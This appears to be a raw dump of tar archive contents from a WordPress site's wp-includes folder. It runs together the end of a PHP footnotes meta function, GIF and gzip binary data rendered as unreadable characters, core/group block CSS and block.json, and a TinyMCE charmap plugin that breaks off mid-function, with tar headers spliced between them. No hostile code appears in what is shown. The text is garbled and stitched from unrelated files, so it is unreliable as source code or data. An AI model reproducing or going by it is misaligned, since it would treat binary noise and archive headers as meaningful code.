 */
function register_block_core_footnotes_post_meta() {
	$post_types = get_post_types( array( 'show_in_rest' => true ) );
	foreach ( $post_types as $post_type ) {
		// Only register the meta field if the post type supports the editor, custom fields, and revisions.
		if (
			post_type_supports( $post_type, 'editor' ) &&
			post_type_supports( $post_type, 'custom-fields' ) &&
			post_type_supports( $post_type, 'revisions' )
		) {
			register_post_meta(
				$post_type,
				'footnotes',
				array(
					'show_in_rest'      => true,
					'single'            => true,
					'type'              => 'string',
					'revisions_enabled' => true,
				)
			);
		}
	}
}
/*
 * Most post types are registered at priority 10, so use priority 20 here in
 * order to catch them.
*/
add_action( 'init', 'register_block_core_footnotes_post_meta', 20 );

/**
 * Adds the footnotes field to the revisions display.
 *
 * @since 6.3.0
 *
 * @param array $fields The revision fields.
 * @return array The revision fields.
 */
function wp_add_footnotes_to_revision( $fields ) {
	$fields['footnotes'] = __( 'Footnotes' );
	return $fields;
}
add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' );

/**
 * Gets the footnotes field from the revision for the revisions screen.
 *
 * @since 6.3.0
 *
 * @param string $revision_field The field value, but $revision->$field
 *                               (footnotes) does not exist.
 * @param string $field          The field name, in this case "footnotes".
 * @param object $revision       The revision object to compare against.
 * @return string The field value.
 */
function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) {
	return get_metadata( 'post', $revision->ID, $field, true );
}
add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 );
14338/wpspin.gif.tar000064400000010000151024420100007776 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/wpspin.gif000064400000004004151024253000024616 0ustar00GIF89a����������{{�����������楥���������ε����������Ŝ���������������ޜ����ν��{{{��ť�����{ss���sss������Ž�����������������������֥�����!�NETSCAPE2.0!�	,@���p��:@3�d�G�Ҽ|��3�P.��R1�1�`0���"p�
	M
�tJCpMB�}�C�}v]�f�ZTC

��C	Rlm �stxnpr��EH�LCA!�,�@�P��:@3l2�G �!ME�P�����Q��b
,�#�X,4���"EQ	v
~M	�M��		����!� �C

�Ov�	s���{,bF��qZ���eN�� XMBEHKMA!�	,p@�P�P(��2�X���x4���0Q}��!0�$��2|��P P0���pg�%tr
�J�(J
�

�_��Er �kA!�,�@
���0�"C*"��C�X(4��J$�B(2o"2��ba0BN�3�v BB����������
�U���o
�OE	
�ZB 

MA!�,p��0!$�pI`$���h�aX���b+���HF�U,�gIV(8�*9�S�
�}~�J} ��qtB
���
��l�
lA!�,v@��A0�R�A�c�Y"��SB�xD�W�'��$�����,3��B�^.�"K�m* }~s}
v�%

J
��%�K���
}
�
�BA!�	,c`&f�EH1���C��վD�$�ݮ�/��2��PHLj�h,����ah4����hLXqc0��ȴ+��������*#��WG��#!!�,��Ʉ�AK�C*"��e�$ ���Z��0PG&�!��D��pN�m	�BB 		!���	���	����
x"�x�
�O
��
YB���{BA!�,s��0SX,�pi<��1��DԂ@��������Pq0;��X�BO����K�~Tx	�
� 		Nx	NK�"K�

�L��	���LA!�,e  :L�(b�B�Ѽ	�Z�15Ka��!�C�� D�*e<��e�9X3R��X����*[2B ,)g�@��2���!�
�zK��|KX	�Q"!!�	,r@�P�0�p
����$	%cÈ@�� �8"�!���`��o�����B|
��qzgk

zB
�B�T�		�C "���Jr��KA!�,�@��0 ,�A*"�)0��9x�U����
C�p^88��!1@#BB{		Q

� �����	y��{�y	syY�	 ����mO ���ZB	MA;14338/xit-2x.gif.tar000064400000005000151024420100007615 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/xit-2x.gif000064400000001471151024247270024452 0ustar00GIF89a(�@��������������������������������������������������������������������������������������������������������������������������������������������������!�@,(@��@��
&&
���$55$�0�0�@�0���������0�
�
����
��.@�@.���>@	�	@>�@�҃��О����ޫ�!2��d��bD�b#V���;Rҵ�5�*��䣇���$�{�	��b��c�CA�_=�t�
4��#�jP0q��Ӆ�m�ppU�I�-
���K�Ȱa�
O'H�;�Iţ�J��Wb�B<�|
z&s�-n��bP�U)Q���\��#+���ud�d���wE8�-�Fb�:tB�X�X��I~�o�����9�SE��c�T�
�e0RdF'*�5l�b|�$�A
DD��)�G�Xtк��M���Q�S-�Gu��Ur�?(;14338/post-author.tar.gz000064400000002240151024420100010625 0ustar00��Z_��6���SDQ��@N٧�[�Z�ԗ]��ieC\�8���w�8&�B��#�]3����'`�Hƻ\�^H��'��7'h�8�|EǾ�G6|Ɩ�߶l{dX߾+eJ�D\6������SʼE7fBvQ"Ɵ�H$b쩕!��$���0f���N��]�E�3z��M����oB��$�N��,t����NB�)>/�����oM&�q�����)[u��u����W�>1EkwF��V}t�Ů�x���kJ"��ΕA�F8���x֖,�ƒ�2pm���(zF0g�NA�L�6k�@�k���ŪSVlW�t��e=LsΖ�]��o;x�{.�y�uJ���?t��
���a�o�K�wNi�?c�Wt<���?�Z�7A���d���%��������c��o�����t�z	�����������\�?	/�!2]������k�h���%O�E�X+�
������ �t��⨤��x��� �D��׻��!�猯[�G�r},<Nb�-����a(��6h�X"B�!/0�0��C�;�
�=����BDRc>���J=)9�&��e�(�G[p�q�i����ˍ�Ԯ�DQ��p���]_�\�y�+��-�R%�)c���
3�w��V�������D���2CT`̈́�{;��1�0	~���cY�}ߪ�$0���v;�i3X|P���0պxT�o��z�;�|
��g�$�8f\�Ȑ��)b�^e��9hxݧ��ٙ��8X��괹]����_�:���*Ɯ�0LD?��G�>"��)�����#��H����c@5�b�N�dz��X����Y���6+��)�Ki�QV b�u�؏���I�"�<x�0H���{>E��I�v�����X�y�<Y,��1����u�s��޼O/g���H��,f'�_�pđeR;沿
�w]�a�\_I��kVMSWˤ��8$hv^:o�b/���?oW����Ӟ���\ªK@��Nڻ� ��uׂ��n9��ʗ�tQ�E]耏mi�P���a{��TuJsk�d��,"Y�(k�r�i�(��ԵW��Z�9��c�����yu��*i[�=����/k2l��]\����WK-��R#���.14338/icon_rolleyes.gif.gif.tar.gz000064400000001046151024420100012521 0ustar00����M�O+J-.K+��O.��M-NN�KM�IM���K/-(.MK���N�/�+��K���//���K�)MI-���MLRŹ�9� nr~^|Q~NNjej�^zf���	:0�s#sCSC#cCS#�������������"���kwO7�D~~�ϼ � x��������M�7�����R�?����s���;;��03��~��r1�2��A�:��o�̚[�x�\��o"�ヅYNA�Ng����,湕�_-�}�P�Wg�CA��؝͋�%b.5=zr��N�U�4��?)�U*��>l���uX�9?D��#]Xj'�+3�\�����%Y؁���S���r�ܬ`Y#�,TkK*�F��	`IFN�	L@IfV,F2�H02I�:rx��r�����&n�f���;^��,�9��a#�I���!��a�ـ�E$���	��|�g�]o�B��T�
YPzpy�1X������C@#{ٝe����F�(C
�:14338/group.tar000064400000050000151024420100007052 0ustar00editor-rtl.min.css000064400000002355151024246470010137 0ustar00.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;content:"";display:flex;flex:1 0 40px;min-height:38px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}theme-rtl.css000064400000000103151024246470007156 0ustar00:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}theme-rtl.min.css000064400000000076151024246470007751 0ustar00:where(.wp-block-group.has-background){padding:1.25em 2.375em}theme.min.css000064400000000076151024246470007152 0ustar00:where(.wp-block-group.has-background){padding:1.25em 2.375em}theme.css000064400000000103151024246470006357 0ustar00:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}style-rtl.min.css000064400000000165151024246470010006 0ustar00.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative}editor-rtl.css000064400000002474151024246470007357 0ustar00.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  content:"";
  display:flex;
  flex:1 0 40px;
  min-height:38px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}style.min.css000064400000000165151024246470007207 0ustar00.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative}editor.css000064400000002474151024246470006560 0ustar00.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  content:"";
  display:flex;
  flex:1 0 40px;
  min-height:38px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}block.json000064400000004063151024246470006541 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/group",
	"title": "Group",
	"category": "design",
	"description": "Gather blocks in a layout container.",
	"keywords": [ "container", "wrapper", "row", "section" ],
	"textdomain": "default",
	"attributes": {
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		},
		"allowedBlocks": {
			"type": "array"
		}
	},
	"supports": {
		"__experimentalOnEnter": true,
		"__experimentalOnMerge": true,
		"__experimentalSettings": true,
		"align": [ "wide", "full" ],
		"anchor": true,
		"ariaLabel": true,
		"html": false,
		"background": {
			"backgroundImage": true,
			"backgroundSize": true,
			"__experimentalDefaultControls": {
				"backgroundImage": true
			}
		},
		"color": {
			"gradients": true,
			"heading": true,
			"button": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"shadow": true,
		"spacing": {
			"margin": [ "top", "bottom" ],
			"padding": true,
			"blockGap": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"dimensions": {
			"minHeight": true
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"position": {
			"sticky": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowSizingOnChildren": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-group-editor",
	"style": "wp-block-group"
}
style-rtl.css000064400000000201151024246470007213 0ustar00.wp-block-group{
  box-sizing:border-box;
}

:where(.wp-block-group.wp-block-group-is-layout-constrained){
  position:relative;
}style.css000064400000000201151024246470006414 0ustar00.wp-block-group{
  box-sizing:border-box;
}

:where(.wp-block-group.wp-block-group-is-layout-constrained){
  position:relative;
}editor.min.css000064400000002355151024246470007340 0ustar00.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;content:"";display:flex;flex:1 0 40px;min-height:38px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}14338/charmap.tar000064400000103000151024420100007330 0ustar00plugin.js000064400000055252151024271470006414 0ustar00(function () {
var charmap = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var fireInsertCustomChar = function (editor, chr) {
      return editor.fire('insertCustomChar', { chr: chr });
    };
    var Events = { fireInsertCustomChar: fireInsertCustomChar };

    var insertChar = function (editor, chr) {
      var evtChr = Events.fireInsertCustomChar(editor, chr).chr;
      editor.execCommand('mceInsertContent', false, evtChr);
    };
    var Actions = { insertChar: insertChar };

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var getCharMap = function (editor) {
      return editor.settings.charmap;
    };
    var getCharMapAppend = function (editor) {
      return editor.settings.charmap_append;
    };
    var Settings = {
      getCharMap: getCharMap,
      getCharMapAppend: getCharMapAppend
    };

    var isArray = global$1.isArray;
    var getDefaultCharMap = function () {
      return [
        [
          '160',
          'no-break space'
        ],
        [
          '173',
          'soft hyphen'
        ],
        [
          '34',
          'quotation mark'
        ],
        [
          '162',
          'cent sign'
        ],
        [
          '8364',
          'euro sign'
        ],
        [
          '163',
          'pound sign'
        ],
        [
          '165',
          'yen sign'
        ],
        [
          '169',
          'copyright sign'
        ],
        [
          '174',
          'registered sign'
        ],
        [
          '8482',
          'trade mark sign'
        ],
        [
          '8240',
          'per mille sign'
        ],
        [
          '181',
          'micro sign'
        ],
        [
          '183',
          'middle dot'
        ],
        [
          '8226',
          'bullet'
        ],
        [
          '8230',
          'three dot leader'
        ],
        [
          '8242',
          'minutes / feet'
        ],
        [
          '8243',
          'seconds / inches'
        ],
        [
          '167',
          'section sign'
        ],
        [
          '182',
          'paragraph sign'
        ],
        [
          '223',
          'sharp s / ess-zed'
        ],
        [
          '8249',
          'single left-pointing angle quotation mark'
        ],
        [
          '8250',
          'single right-pointing angle quotation mark'
        ],
        [
          '171',
          'left pointing guillemet'
        ],
        [
          '187',
          'right pointing guillemet'
        ],
        [
          '8216',
          'left single quotation mark'
        ],
        [
          '8217',
          'right single quotation mark'
        ],
        [
          '8220',
          'left double quotation mark'
        ],
        [
          '8221',
          'right double quotation mark'
        ],
        [
          '8218',
          'single low-9 quotation mark'
        ],
        [
          '8222',
          'double low-9 quotation mark'
        ],
        [
          '60',
          'less-than sign'
        ],
        [
          '62',
          'greater-than sign'
        ],
        [
          '8804',
          'less-than or equal to'
        ],
        [
          '8805',
          'greater-than or equal to'
        ],
        [
          '8211',
          'en dash'
        ],
        [
          '8212',
          'em dash'
        ],
        [
          '175',
          'macron'
        ],
        [
          '8254',
          'overline'
        ],
        [
          '164',
          'currency sign'
        ],
        [
          '166',
          'broken bar'
        ],
        [
          '168',
          'diaeresis'
        ],
        [
          '161',
          'inverted exclamation mark'
        ],
        [
          '191',
          'turned question mark'
        ],
        [
          '710',
          'circumflex accent'
        ],
        [
          '732',
          'small tilde'
        ],
        [
          '176',
          'degree sign'
        ],
        [
          '8722',
          'minus sign'
        ],
        [
          '177',
          'plus-minus sign'
        ],
        [
          '247',
          'division sign'
        ],
        [
          '8260',
          'fraction slash'
        ],
        [
          '215',
          'multiplication sign'
        ],
        [
          '185',
          'superscript one'
        ],
        [
          '178',
          'superscript two'
        ],
        [
          '179',
          'superscript three'
        ],
        [
          '188',
          'fraction one quarter'
        ],
        [
          '189',
          'fraction one half'
        ],
        [
          '190',
          'fraction three quarters'
        ],
        [
          '402',
          'function / florin'
        ],
        [
          '8747',
          'integral'
        ],
        [
          '8721',
          'n-ary sumation'
        ],
        [
          '8734',
          'infinity'
        ],
        [
          '8730',
          'square root'
        ],
        [
          '8764',
          'similar to'
        ],
        [
          '8773',
          'approximately equal to'
        ],
        [
          '8776',
          'almost equal to'
        ],
        [
          '8800',
          'not equal to'
        ],
        [
          '8801',
          'identical to'
        ],
        [
          '8712',
          'element of'
        ],
        [
          '8713',
          'not an element of'
        ],
        [
          '8715',
          'contains as member'
        ],
        [
          '8719',
          'n-ary product'
        ],
        [
          '8743',
          'logical and'
        ],
        [
          '8744',
          'logical or'
        ],
        [
          '172',
          'not sign'
        ],
        [
          '8745',
          'intersection'
        ],
        [
          '8746',
          'union'
        ],
        [
          '8706',
          'partial differential'
        ],
        [
          '8704',
          'for all'
        ],
        [
          '8707',
          'there exists'
        ],
        [
          '8709',
          'diameter'
        ],
        [
          '8711',
          'backward difference'
        ],
        [
          '8727',
          'asterisk operator'
        ],
        [
          '8733',
          'proportional to'
        ],
        [
          '8736',
          'angle'
        ],
        [
          '180',
          'acute accent'
        ],
        [
          '184',
          'cedilla'
        ],
        [
          '170',
          'feminine ordinal indicator'
        ],
        [
          '186',
          'masculine ordinal indicator'
        ],
        [
          '8224',
          'dagger'
        ],
        [
          '8225',
          'double dagger'
        ],
        [
          '192',
          'A - grave'
        ],
        [
          '193',
          'A - acute'
        ],
        [
          '194',
          'A - circumflex'
        ],
        [
          '195',
          'A - tilde'
        ],
        [
          '196',
          'A - diaeresis'
        ],
        [
          '197',
          'A - ring above'
        ],
        [
          '256',
          'A - macron'
        ],
        [
          '198',
          'ligature AE'
        ],
        [
          '199',
          'C - cedilla'
        ],
        [
          '200',
          'E - grave'
        ],
        [
          '201',
          'E - acute'
        ],
        [
          '202',
          'E - circumflex'
        ],
        [
          '203',
          'E - diaeresis'
        ],
        [
          '274',
          'E - macron'
        ],
        [
          '204',
          'I - grave'
        ],
        [
          '205',
          'I - acute'
        ],
        [
          '206',
          'I - circumflex'
        ],
        [
          '207',
          'I - diaeresis'
        ],
        [
          '298',
          'I - macron'
        ],
        [
          '208',
          'ETH'
        ],
        [
          '209',
          'N - tilde'
        ],
        [
          '210',
          'O - grave'
        ],
        [
          '211',
          'O - acute'
        ],
        [
          '212',
          'O - circumflex'
        ],
        [
          '213',
          'O - tilde'
        ],
        [
          '214',
          'O - diaeresis'
        ],
        [
          '216',
          'O - slash'
        ],
        [
          '332',
          'O - macron'
        ],
        [
          '338',
          'ligature OE'
        ],
        [
          '352',
          'S - caron'
        ],
        [
          '217',
          'U - grave'
        ],
        [
          '218',
          'U - acute'
        ],
        [
          '219',
          'U - circumflex'
        ],
        [
          '220',
          'U - diaeresis'
        ],
        [
          '362',
          'U - macron'
        ],
        [
          '221',
          'Y - acute'
        ],
        [
          '376',
          'Y - diaeresis'
        ],
        [
          '562',
          'Y - macron'
        ],
        [
          '222',
          'THORN'
        ],
        [
          '224',
          'a - grave'
        ],
        [
          '225',
          'a - acute'
        ],
        [
          '226',
          'a - circumflex'
        ],
        [
          '227',
          'a - tilde'
        ],
        [
          '228',
          'a - diaeresis'
        ],
        [
          '229',
          'a - ring above'
        ],
        [
          '257',
          'a - macron'
        ],
        [
          '230',
          'ligature ae'
        ],
        [
          '231',
          'c - cedilla'
        ],
        [
          '232',
          'e - grave'
        ],
        [
          '233',
          'e - acute'
        ],
        [
          '234',
          'e - circumflex'
        ],
        [
          '235',
          'e - diaeresis'
        ],
        [
          '275',
          'e - macron'
        ],
        [
          '236',
          'i - grave'
        ],
        [
          '237',
          'i - acute'
        ],
        [
          '238',
          'i - circumflex'
        ],
        [
          '239',
          'i - diaeresis'
        ],
        [
          '299',
          'i - macron'
        ],
        [
          '240',
          'eth'
        ],
        [
          '241',
          'n - tilde'
        ],
        [
          '242',
          'o - grave'
        ],
        [
          '243',
          'o - acute'
        ],
        [
          '244',
          'o - circumflex'
        ],
        [
          '245',
          'o - tilde'
        ],
        [
          '246',
          'o - diaeresis'
        ],
        [
          '248',
          'o slash'
        ],
        [
          '333',
          'o macron'
        ],
        [
          '339',
          'ligature oe'
        ],
        [
          '353',
          's - caron'
        ],
        [
          '249',
          'u - grave'
        ],
        [
          '250',
          'u - acute'
        ],
        [
          '251',
          'u - circumflex'
        ],
        [
          '252',
          'u - diaeresis'
        ],
        [
          '363',
          'u - macron'
        ],
        [
          '253',
          'y - acute'
        ],
        [
          '254',
          'thorn'
        ],
        [
          '255',
          'y - diaeresis'
        ],
        [
          '563',
          'y - macron'
        ],
        [
          '913',
          'Alpha'
        ],
        [
          '914',
          'Beta'
        ],
        [
          '915',
          'Gamma'
        ],
        [
          '916',
          'Delta'
        ],
        [
          '917',
          'Epsilon'
        ],
        [
          '918',
          'Zeta'
        ],
        [
          '919',
          'Eta'
        ],
        [
          '920',
          'Theta'
        ],
        [
          '921',
          'Iota'
        ],
        [
          '922',
          'Kappa'
        ],
        [
          '923',
          'Lambda'
        ],
        [
          '924',
          'Mu'
        ],
        [
          '925',
          'Nu'
        ],
        [
          '926',
          'Xi'
        ],
        [
          '927',
          'Omicron'
        ],
        [
          '928',
          'Pi'
        ],
        [
          '929',
          'Rho'
        ],
        [
          '931',
          'Sigma'
        ],
        [
          '932',
          'Tau'
        ],
        [
          '933',
          'Upsilon'
        ],
        [
          '934',
          'Phi'
        ],
        [
          '935',
          'Chi'
        ],
        [
          '936',
          'Psi'
        ],
        [
          '937',
          'Omega'
        ],
        [
          '945',
          'alpha'
        ],
        [
          '946',
          'beta'
        ],
        [
          '947',
          'gamma'
        ],
        [
          '948',
          'delta'
        ],
        [
          '949',
          'epsilon'
        ],
        [
          '950',
          'zeta'
        ],
        [
          '951',
          'eta'
        ],
        [
          '952',
          'theta'
        ],
        [
          '953',
          'iota'
        ],
        [
          '954',
          'kappa'
        ],
        [
          '955',
          'lambda'
        ],
        [
          '956',
          'mu'
        ],
        [
          '957',
          'nu'
        ],
        [
          '958',
          'xi'
        ],
        [
          '959',
          'omicron'
        ],
        [
          '960',
          'pi'
        ],
        [
          '961',
          'rho'
        ],
        [
          '962',
          'final sigma'
        ],
        [
          '963',
          'sigma'
        ],
        [
          '964',
          'tau'
        ],
        [
          '965',
          'upsilon'
        ],
        [
          '966',
          'phi'
        ],
        [
          '967',
          'chi'
        ],
        [
          '968',
          'psi'
        ],
        [
          '969',
          'omega'
        ],
        [
          '8501',
          'alef symbol'
        ],
        [
          '982',
          'pi symbol'
        ],
        [
          '8476',
          'real part symbol'
        ],
        [
          '978',
          'upsilon - hook symbol'
        ],
        [
          '8472',
          'Weierstrass p'
        ],
        [
          '8465',
          'imaginary part'
        ],
        [
          '8592',
          'leftwards arrow'
        ],
        [
          '8593',
          'upwards arrow'
        ],
        [
          '8594',
          'rightwards arrow'
        ],
        [
          '8595',
          'downwards arrow'
        ],
        [
          '8596',
          'left right arrow'
        ],
        [
          '8629',
          'carriage return'
        ],
        [
          '8656',
          'leftwards double arrow'
        ],
        [
          '8657',
          'upwards double arrow'
        ],
        [
          '8658',
          'rightwards double arrow'
        ],
        [
          '8659',
          'downwards double arrow'
        ],
        [
          '8660',
          'left right double arrow'
        ],
        [
          '8756',
          'therefore'
        ],
        [
          '8834',
          'subset of'
        ],
        [
          '8835',
          'superset of'
        ],
        [
          '8836',
          'not a subset of'
        ],
        [
          '8838',
          'subset of or equal to'
        ],
        [
          '8839',
          'superset of or equal to'
        ],
        [
          '8853',
          'circled plus'
        ],
        [
          '8855',
          'circled times'
        ],
        [
          '8869',
          'perpendicular'
        ],
        [
          '8901',
          'dot operator'
        ],
        [
          '8968',
          'left ceiling'
        ],
        [
          '8969',
          'right ceiling'
        ],
        [
          '8970',
          'left floor'
        ],
        [
          '8971',
          'right floor'
        ],
        [
          '9001',
          'left-pointing angle bracket'
        ],
        [
          '9002',
          'right-pointing angle bracket'
        ],
        [
          '9674',
          'lozenge'
        ],
        [
          '9824',
          'black spade suit'
        ],
        [
          '9827',
          'black club suit'
        ],
        [
          '9829',
          'black heart suit'
        ],
        [
          '9830',
          'black diamond suit'
        ],
        [
          '8194',
          'en space'
        ],
        [
          '8195',
          'em space'
        ],
        [
          '8201',
          'thin space'
        ],
        [
          '8204',
          'zero width non-joiner'
        ],
        [
          '8205',
          'zero width joiner'
        ],
        [
          '8206',
          'left-to-right mark'
        ],
        [
          '8207',
          'right-to-left mark'
        ]
      ];
    };
    var charmapFilter = function (charmap) {
      return global$1.grep(charmap, function (item) {
        return isArray(item) && item.length === 2;
      });
    };
    var getCharsFromSetting = function (settingValue) {
      if (isArray(settingValue)) {
        return [].concat(charmapFilter(settingValue));
      }
      if (typeof settingValue === 'function') {
        return settingValue();
      }
      return [];
    };
    var extendCharMap = function (editor, charmap) {
      var userCharMap = Settings.getCharMap(editor);
      if (userCharMap) {
        charmap = getCharsFromSetting(userCharMap);
      }
      var userCharMapAppend = Settings.getCharMapAppend(editor);
      if (userCharMapAppend) {
        return [].concat(charmap).concat(getCharsFromSetting(userCharMapAppend));
      }
      return charmap;
    };
    var getCharMap$1 = function (editor) {
      return extendCharMap(editor, getDefaultCharMap());
    };
    var CharMap = { getCharMap: getCharMap$1 };

    var get = function (editor) {
      var getCharMap = function () {
        return CharMap.getCharMap(editor);
      };
      var insertChar = function (chr) {
        Actions.insertChar(editor, chr);
      };
      return {
        getCharMap: getCharMap,
        insertChar: insertChar
      };
    };
    var Api = { get: get };

    var getHtml = function (charmap) {
      var gridHtml, x, y;
      var width = Math.min(charmap.length, 25);
      var height = Math.ceil(charmap.length / width);
      gridHtml = '<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>';
      for (y = 0; y < height; y++) {
        gridHtml += '<tr>';
        for (x = 0; x < width; x++) {
          var index = y * width + x;
          if (index < charmap.length) {
            var chr = charmap[index];
            var charCode = parseInt(chr[0], 10);
            var chrText = chr ? String.fromCharCode(charCode) : '&nbsp;';
            gridHtml += '<td title="' + chr[1] + '">' + '<div tabindex="-1" title="' + chr[1] + '" role="button" data-chr="' + charCode + '">' + chrText + '</div>' + '</td>';
          } else {
            gridHtml += '<td />';
          }
        }
        gridHtml += '</tr>';
      }
      gridHtml += '</tbody></table>';
      return gridHtml;
    };
    var GridHtml = { getHtml: getHtml };

    var getParentTd = function (elm) {
      while (elm) {
        if (elm.nodeName === 'TD') {
          return elm;
        }
        elm = elm.parentNode;
      }
    };
    var open = function (editor) {
      var win;
      var charMapPanel = {
        type: 'container',
        html: GridHtml.getHtml(CharMap.getCharMap(editor)),
        onclick: function (e) {
          var target = e.target;
          if (/^(TD|DIV)$/.test(target.nodeName)) {
            var charDiv = getParentTd(target).firstChild;
            if (charDiv && charDiv.hasAttribute('data-chr')) {
              var charCodeString = charDiv.getAttribute('data-chr');
              var charCode = parseInt(charCodeString, 10);
              if (!isNaN(charCode)) {
                Actions.insertChar(editor, String.fromCharCode(charCode));
              }
              if (!e.ctrlKey) {
                win.close();
              }
            }
          }
        },
        onmouseover: function (e) {
          var td = getParentTd(e.target);
          if (td && td.firstChild) {
            win.find('#preview').text(td.firstChild.firstChild.data);
            win.find('#previewTitle').text(td.title);
          } else {
            win.find('#preview').text(' ');
            win.find('#previewTitle').text(' ');
          }
        }
      };
      win = editor.windowManager.open({
        title: 'Special character',
        spacing: 10,
        padding: 10,
        items: [
          charMapPanel,
          {
            type: 'container',
            layout: 'flex',
            direction: 'column',
            align: 'center',
            spacing: 5,
            minWidth: 160,
            minHeight: 160,
            items: [
              {
                type: 'label',
                name: 'preview',
                text: ' ',
                style: 'font-size: 40px; text-align: center',
                border: 1,
                minWidth: 140,
                minHeight: 80
              },
              {
                type: 'spacer',
                minHeight: 20
              },
              {
                type: 'label',
                name: 'previewTitle',
                text: ' ',
                style: 'white-space: pre-wrap;',
                border: 1,
                minWidth: 140
              }
            ]
          }
        ],
        buttons: [{
            text: 'Close',
            onclick: function () {
              win.close();
            }
          }]
      });
    };
    var Dialog = { open: open };

    var register = function (editor) {
      editor.addCommand('mceShowCharmap', function () {
        Dialog.open(editor);
      });
